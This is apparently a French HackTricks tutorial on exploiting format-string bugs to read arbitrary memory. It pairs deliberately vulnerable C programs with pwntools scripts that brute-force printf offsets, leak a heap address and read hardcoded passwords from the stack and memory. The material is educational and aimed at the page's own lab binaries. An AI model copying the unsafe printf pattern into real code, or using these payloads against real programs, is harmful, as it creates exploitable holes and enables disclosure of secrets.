Chaînes de format - Exemple de lecture arbitraire
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Lire le binaire de départ
Code
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Compilez-le avec :
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploiter
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- Le décalage est de 11 car en plaçant plusieurs A et en brute-forçant avec une boucle de 0 à 50, il a été trouvé qu'à un décalage de 11 et avec 5 caractères supplémentaires (pipes
|
dans notre cas), il est possible de contrôler une adresse complète. - J'ai utilisé
%11$p
avec un remplissage jusqu'à ce que l'adresse soit entièrement 0x4141414141414141. - La charge utile de la chaîne de format est AVANT l'adresse car le printf s'arrête de lire à un octet nul, donc si nous envoyons l'adresse puis la chaîne de format, le printf n'atteindra jamais la chaîne de format car un octet nul sera trouvé avant.
- L'adresse sélectionnée est 0x00400000 car c'est là que le binaire commence (pas de PIE).
Lire les mots de passe
#include <stdio.h>
#include <string.h>
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
}
Compilez-le avec :
clang -o fs-read fs-read.c -Wno-format-security
Lire depuis la pile
Le stack_password
sera stocké dans la pile car c'est une variable locale, donc il suffit d'abuser de printf pour afficher le contenu de la pile. C'est une exploitation pour BF les 100 premières positions afin de révéler les mots de passe de la pile :
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Dans l'image, il est possible de voir que nous pouvons leak le mot de passe de la pile à la 10ème
position :
.png)
.png)
Lire les données
En exécutant le même exploit mais avec %p
au lieu de %s
, il est possible de leak une adresse de tas depuis la pile à %25$p
. De plus, en comparant l'adresse leakée (0xaaaab7030894
) avec la position du mot de passe en mémoire dans ce processus, nous pouvons obtenir la différence d'adresses :
Il est maintenant temps de trouver comment contrôler 1 adresse dans la pile pour y accéder depuis la deuxième vulnérabilité de chaîne de format :
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
Et il est possible de voir cela dans le try 14 avec le passage utilisé, nous pouvons contrôler une adresse :
Exploit
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.